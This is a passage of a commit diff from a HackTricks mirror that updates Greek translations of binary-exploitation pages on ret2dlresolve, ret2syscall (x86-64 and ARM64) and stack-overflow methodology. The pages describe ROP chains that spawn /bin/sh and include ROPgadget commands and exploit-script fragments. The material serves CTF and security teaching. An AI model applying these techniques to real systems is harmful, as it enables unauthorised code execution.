mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['binary-exploitation/basic-binary-exploitation-methodology/R
This commit is contained in:
parent
96047a8c69
commit
b0514696cb
7 changed files with 260 additions and 51 deletions
|
@ -709,7 +709,8 @@
|
|||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
|
||||
* [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
* [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
* [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
* [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
* [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
|
@ -30,7 +30,7 @@
|
|||
|
||||
## Μεθοδολογία Υπερχείλισης Στοίβας
|
||||
|
||||
Με τόσες τεχνικές, είναι καλό να έχετε ένα σχέδιο όταν κάθε τεχνική θα είναι χρήσιμη. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας αλλά όχι σε αυτήν τη μεθοδολογία.
|
||||
Με τόσες τεχνικές, είναι καλό να έχετε ένα σχέδιο όταν κάθε τεχνική θα είναι χρήσιμη. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας, αλλά όχι σε αυτήν τη μεθοδολογία.
|
||||
|
||||
## Έλεγχος της Ροής
|
||||
|
||||
|
@ -52,33 +52,32 @@
|
|||
|
||||
## Αιώνιοι Βρόχοι
|
||||
|
||||
Κάτι που πρέπει να ληφθεί υπόψη είναι ότι συνήθως **μια εκμετάλλευση ενός ευπαθείας μπορεί να μην είναι αρκετή** για να εκτελέσετε με επιτυχία μια εκμετάλλευση, ειδικά αν χρειάζεται να παρακαμφθούν κάποιες προστασίες. Επομένως, είναι ενδιαφέρον να συζητηθούν κάποιες επιλογές για το **κάνετε μια ευπαθήτητα εκτελέσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού:
|
||||
Κάτι που πρέπει να ληφθεί υπόψη είναι ότι συνήθως **μια εκμετάλλευση ενός ευπαθείας μπορεί να μην είναι αρκετή** για να εκτελέσετε με επιτυχία μια εκμετάλλευση, ειδικά αν χρειάζεται να παρακαμφθούν κάποιες προστασίες. Επομένως, είναι ενδιαφέρον να συζητηθούν κάποιες επιλογές για το **κάνετε μια ευπαθία εκμετάλλευση πολλές φορές** στην ίδια εκτέλεση του δυαδικού:
|
||||
|
||||
* Γράψτε σε μια αλυσίδα **ROP** τη διεύθυνση της **συνάρτησης `main`** ή στη διεύθυνση όπου συμβαίνει η **ευπαθήτητα**.
|
||||
* Γράψτε σε μια αλυσίδα **ROP** τη διεύθυνση της **συνάρτησης `main`** ή στη διεύθυνση όπου συμβαίνει η **ευπαθής σημείο**.
|
||||
* Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορείτε να εκτελέσετε όλες τις ενέργειες σε αυτή την αλυσίδα
|
||||
* Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τη λήξη) τη διεύθυνση για να πάτε **πίσω στην ευπαθήτητα**
|
||||
* Όπως εξηγείται στο [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπαθήτητα και μία για να καλέσετε την**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
|
||||
* Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τη λήξη) τη διεύθυνση για να **επιστρέψετε στην ευπαθή σημείο**.
|
||||
* Όπως εξηγείται στο [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπαθή σημείο και μία για να καλέσετε την**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
|
||||
|
||||
## Στόχοι Εκμετάλλευσης
|
||||
|
||||
### Στόχος: Κάλεσε μια Υπάρχουσα συνάρτηση
|
||||
### Στόχος: Κλήση Υπάρχουσας Συνάρτησης
|
||||
|
||||
* [**ret2win**](./#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) για να λάβετε τη σημαία.
|
||||
* Σε ένα **κανονικό bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), απλά χρειάζεται να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
|
||||
* Σε ένα bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα πρέπει να το παρακάμψετε
|
||||
* Σε ένα bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα πρέπει να το παρακάμψετε
|
||||
* Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), απλά χρειάζεται να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
|
||||
* Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα χρειαστεί να το παρακάμψετε
|
||||
* Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα χρειαστεί να το παρακάμψετε
|
||||
* Αν χρειάζεστε να ορίσετε αρκετές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win** μπορείτε να χρησιμοποιήσετε:
|
||||
* Μια [**ROP**](./#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη σύνοψη) για να ελέγξετε πολλούς καταχωρητές
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη σύσταση) για να ελέγξετε πολλούς καταχωρητές
|
||||
* Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε πολλούς καταχωρητές
|
||||
* Μέσω ενός [**Γράψε Τι Πού στην Εκτέλεση**](../arbitrary-write-2-exec/) μπορείτε να εκμεταλλευτείτε άλλες ευπαθείες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
|
||||
* [**Ανακατευτήρες Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες προς μια συνάρτηση που θα κληθεί ή προς ένα string που θα χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατό να αντικαταστήσετε αυτήν τη διεύθυνση.
|
||||
* [**ASLR**](../common-binary-protections-and-b
|
||||
* [**Ανακατευτήρες Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες προς μια συνάρτηση που θα κληθεί ή προς μια συμβολοσειρά που θα χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατό να αντικαταστήσετε αυτήν τη δ
|
||||
#### Μέσω κλήσεων συστήματος
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Χρήσιμο για να καλέσετε την `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τα **gadgets για να καλέσετε τη συγκεκριμένη κλήση συστήματος με τις παραμέτρους**.
|
||||
* Εάν το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή το [**PIE**](../common-binary-protections-and-bypasses/pie/) είναι ενεργοποιημένα, θα πρέπει να τα αντιμετωπίσετε **ώστε να χρησιμοποιήσετε τα ROP gadgets** από το δυαδικό αρχείο ή τις βιβλιοθήκες.
|
||||
* Το [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**
|
||||
* Εάν έχουν ενεργοποιηθεί το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή το [**PIE**](../common-binary-protections-and-bypasses/pie/), θα πρέπει να τα αντιμετωπίσετε **για να χρησιμοποιήσετε τα ROP gadgets** από το δυαδικό αρχείο ή τις βιβλιοθήκες.
|
||||
* Το [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**
|
||||
* Gadgets από το [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και το [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για τον έλεγχο πολλών καταχωρητών
|
||||
|
||||
#### Μέσω της libc
|
||||
|
@ -90,8 +89,8 @@
|
|||
* Με [ASLR](../common-binary-protections-and-bypasses/aslr/) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/), γνωρίζοντας την libc και **χωρίς το δυαδικό αρχείο να χρησιμοποιεί τη συνάρτηση `system`**:
|
||||
* Χρησιμοποιήστε το [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε 
|
||||
* **Αντιμετωπίστε** το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
|
||||
* **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και χωρίς γνώση της libc**: Χρειάζεστε:
|
||||
* Αντιμετωπίστε το [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
* **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και χωρίς γνώση της libc**: Πρέπει να:
|
||||
* Αντιμετωπίσετε το [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
* Βρείτε τη **έκδοση της libc** που χρησιμοποιείται (διαρροή μερικών διευθύνσεων συναρτήσεων)
|
||||
* Ελέγξτε τα **προηγούμενα σενάρια με ASLR** για να συνεχίσετε.
|
||||
|
||||
|
|
|
@ -10,36 +10,36 @@
|
|||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Όπως εξηγείται στη σελίδα για το [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και το [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά χωρίς Full Relro θα επιλύουν σύμβολα (όπως διευθύνσεις προς εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση γίνεται καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
|
||||
Όπως εξηγείται στη σελίδα για το [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και το [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά χωρίς Full Relro θα επιλύουν σύμβολα (όπως διευθύνσεις προς εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση γίνεται καλώντας τη λειτουργία **`_dl_runtime_resolve`**.
|
||||
|
||||
Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε μερικές δομές που χρειάζεται για να **επιλύσει** το συγκεκριμένο σύμβολο.
|
||||
Η λειτουργία **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε μερικές δομές που χρειάζεται για να **επιλύσει** το συγκεκριμένο σύμβολο.
|
||||
|
||||
Επομένως, είναι δυνατόν να **πλαστογραφηθούν όλες αυτές οι δομές** για να γίνει η δυναμική σύνδεση που απαιτείται για το επιθυμητό σύμβολο (όπως η συνάρτηση **`system`**) και να κληθεί με μια διαμορφωμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
|
||||
Επομένως, είναι δυνατόν να **πλαστογραφήσετε όλες αυτές τις δομές** για να κάνετε τη δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η λειτουργία **`system`**) και να την καλέσετε με ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
|
||||
|
||||
Συνήθως, όλες αυτές οι δομές πλαστογραφούνται με τη δημιουργία μιας **αρχικής ROP αλυσίδας που καλεί την `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την read σε μια γνωστή τοποθεσία, και στη συνέχεια η ROP αλυσίδα συνεχίζει καλώντας **`_dl_runtime_resolve`**, έχοντας το **επιλύσει τη διεύθυνση του `system`** στις πλαστογραφημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση προς `$'/bin/sh'`.
|
||||
Συνήθως, όλες αυτές οι δομές πλαστογραφούνται κάνοντας μια **αρχική ROP αλυσίδα που καλεί την `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την read σε μια γνωστή τοποθεσία, και στη συνέχεια η ROP αλυσίδα συνεχίζει καλώντας **`_dl_runtime_resolve`**, έχοντας τη δυνατότητα να **επιλύσει τη διεύθυνση του `system`** στις πλαστογραφημένες δομές και να **καλέσει αυτήν τη διεύθυνση** με τη διεύθυνση προς `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν συσκευές syscall (για χρήση τεχνικών όπως το [**ret2syscall**](rop-syscall-execv/) ή το [SROP](srop-sigreturn-oriented-programming.md)) και δεν υπάρχουν τρόποι διαρροής διευθύνσεων της libc.
|
||||
Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για χρήση τεχνικών όπως το [**ret2syscall**](rop-syscall-execv/) ή το SROP) και δεν υπάρχουν τρόποι διαρροής διευθύνσεων της libc.
|
||||
{% endhint %}
|
||||
|
||||
Μπορείτε να βρείτε μια καλύτερη εξήγηση για αυτή την τεχνική στο δεύτερο μισό του βίντεο:
|
||||
Μπορείτε να βρείτε μια καλύτερη εξήγηση για αυτήν την τεχνική στο δεύτερο μισό του βίντεο:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Δομές
|
||||
|
||||
Είναι απαραίτητο να πλαστογραφηθούν 3 δομές: **`JMPREL`**, **`STRTAB`** και **`SYMTAB`**. Μπορείτε να βρείτε μια καλύτερη εξήγηση για τον τρόπο με τον οποίο αυτές χτίζονται στο [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
Είναι απαραίτητο να πλαστογραφήσετε 3 δομές: **`JMPREL`**, **`STRTAB`** και **`SYMTAB`**. Έχετε μια καλύτερη εξήγηση για το πώς αυτές χτίζονται στο [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Σύνοψη Επίθεσης
|
||||
|
||||
1. Γράψτε ψεύτικες δομές σε κάποιο μέρος
|
||||
2. Ορίστε το πρώτο όρισμα του system (`$rdi = &'/bin/sh'`)
|
||||
2. Ορίστε τον πρώτο ορισμό του συστήματος (`$rdi = &'/bin/sh'`)
|
||||
3. Ορίστε στη στοίβα τις διευθύνσεις των δομών για να καλέσετε το **`_dl_runtime_resolve`**
|
||||
4. Καλέστε τον **`_dl_runtime_resolve`**
|
||||
5. Το **`system`** θα επιλυθεί και θα κληθεί με το `'/bin/sh'` ως όρισμα
|
||||
|
@ -178,4 +178,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. Για να εκμεταλλευτείτε το σφάλμα υπερχείλισης buffer, χρησιμοποιείται για να καλέσει ξανά την `read` με ένα τμήμα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο κύριο πρόγραμμα και να εκμεταλλευτεί ξανά το αρχικό σφάλμα υπερχείλισης για να καλέσει το dlresolve και στη συνέχεια το `system('/bin/sh')`.
|
||||
* 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. Για να εκμεταλλευτείτε το σφάλμα υπερχείλισης buffer, χρησιμοποιείται για να καλέσει ξανά την `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο κύριο πρόγραμμα και να εκμεταλλευτεί ξανά το αρχικό σφάλμα υπερχείλισης buffer για να καλέσει το dlresolve και στη συνέχεια το `system('/bin/sh')`.
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
|
@ -16,19 +16,19 @@
|
|||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτήν την περίπτωση δεν θα καλέσουμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτήν την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουν το syscall `sys_execve` με μερικά ορίσματα για να εκτελέσουν το `/bin/sh`. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά αρχεία που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και εντολές syscall.
|
||||
Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτήν την περίπτωση δεν θα καλέσουμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτήν την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουν το syscall `sys_execve` με μερικά ορίσματα για να εκτελέσουν το `/bin/sh`. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και εντολές syscall.
|
||||
|
||||
Για να προετοιμάσουμε την κλήση για το **syscall** απαιτείται η ακόλουθη διαμόρφωση:
|
||||
|
||||
* `rax: 59 Καθορίζει το sys_execve`
|
||||
* `rdi: δείκτης προς "/bin/sh" καθορίζει το αρχείο προς εκτέλεση`
|
||||
* `rsi: 0 καθορίζει ότι δεν περνιούνται ορίσματα`
|
||||
* `rdx: 0 καθορίζει ότι δεν περνιούνται μεταβλητές περιβάλλοντος`
|
||||
* `rax: 59 Καθορίστε το sys_execve`
|
||||
* `rdi: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση`
|
||||
* `rsi: 0 καθορίστε ότι δεν περνούν ορίσματα`
|
||||
* `rdx: 0 καθορίστε ότι δεν περνούν μεταβλητές περιβάλλοντος`
|
||||
|
||||
Έτσι, βασικά απαιτείται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη το padding που απαιτείται για τον έλεγχο του stack). Γι' αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ένα άλλο ενδιαφέρον syscall που μπορεί να κληθεί είναι το **`mprotect`** το οποίο θα επιτρέψει σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με το [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
Ένα άλλο ενδιαφέρον syscall που μπορεί να κληθεί είναι το **`mprotect`** το οποίο θα επιτρέψει σε έναν εισβολέα να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με το [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
{% endhint %}
|
||||
|
||||
## Gadgets Εγγραφής
|
||||
|
@ -58,14 +58,14 @@ Start End Offset Perm Path
|
|||
```
|
||||
### Γράψτε Συμβολοσειρά στη μνήμη
|
||||
|
||||
Στη συνέχεια, πρέπει να βρείτε έναν τρόπο για να γράψετε το επιθυμητό περιεχόμενο σε αυτήν τη διεύθυνση
|
||||
Στη συνέχεια, πρέπει να βρείτε έναν τρόπο για να γράψετε τυχαίο περιεχόμενο σε αυτήν τη διεύθυνση.
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Αυτοματοποίηση ROP αλυσίδας
|
||||
|
||||
Η παρακάτω εντολή δημιουργεί μια πλήρη ROP αλυσίδα `sys_execve` δεδομένου ενός στατικού δυαδικού όταν υπάρχουν γκατζέτ γραφής-ό,που-θέλω και εντολές συστήματος:
|
||||
Η παρακάτω εντολή δημιουργεί μια πλήρη ROP αλυσίδα `sys_execve` δεδομένου ενός στατικού δυαδικού όταν υπάρχουν γκατζέτ γραφής-τι-που-θέλω και εντολές συστήματος κλήσης:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
|
@ -113,13 +113,11 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|||
```
|
||||
## Έλλειψη Gadgets
|
||||
|
||||
Αν σας λείπουν **gadgets**, για παράδειγμα για να γράψετε το `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε τη **τεχνική SROP για να ελέγξετε όλες τις τιμές των registries** (συμπεριλαμβανομένων των RIP και των registries παραμέτρων) από το stack:
|
||||
Αν σας λείπουν **gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την τεχνική **SROP για να ελέγξετε όλες τις τιμές των registries** (συμπεριλαμβανομένων των RIP και των registries παραμέτρων) από το stack:
|
||||
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
|
||||
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Παράδειγμα Εκμετάλλευσης
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@
|
|||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -53,12 +53,12 @@ clang -o ret2win ret2win.c -fno-stack-protector
|
|||
|
||||
Για να προετοιμάσετε την κλήση για το **syscall** απαιτείται η παρακάτω διαμόρφωση:
|
||||
|
||||
- `x8: 221 Καθορίστε το sys_execve`
|
||||
- `x0: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση`
|
||||
- `x1: 0 καθορίστε ότι δεν υπάρχουν παραδείγματα που περνούν`
|
||||
- `x2: 0 καθορίστε ότι δεν υπάρχουν μεταβλητές περιβάλλοντος που περνούν`
|
||||
* `x8: 221 Καθορίστε το sys_execve`
|
||||
* `x0: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση`
|
||||
* `x1: 0 καθορίστε ότι δεν περνιούνται παράμετροι`
|
||||
* `x2: 0 καθορίστε ότι δεν περνιούνται μεταβλητές περιβάλλοντος`
|
||||
|
||||
Χρησιμοποιώντας το ROPgadget.py κατάφερα να εντοπίσω τα ακόλουθα gadgets:
|
||||
Χρησιμοποιώντας το ROPgadget.py κατάφερα να εντοπίσω τα παρακάτω gadgets στη βιβλιοθήκη libc της μηχανής:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -79,7 +79,13 @@ svc #0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαραίτητους registries από το stack και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget και να καλέσουμε το syscall.
|
||||
Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαιτούμενους registries από το stack και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget και να καλέσουμε το syscall.
|
||||
|
||||
{% hint style="success" %}
|
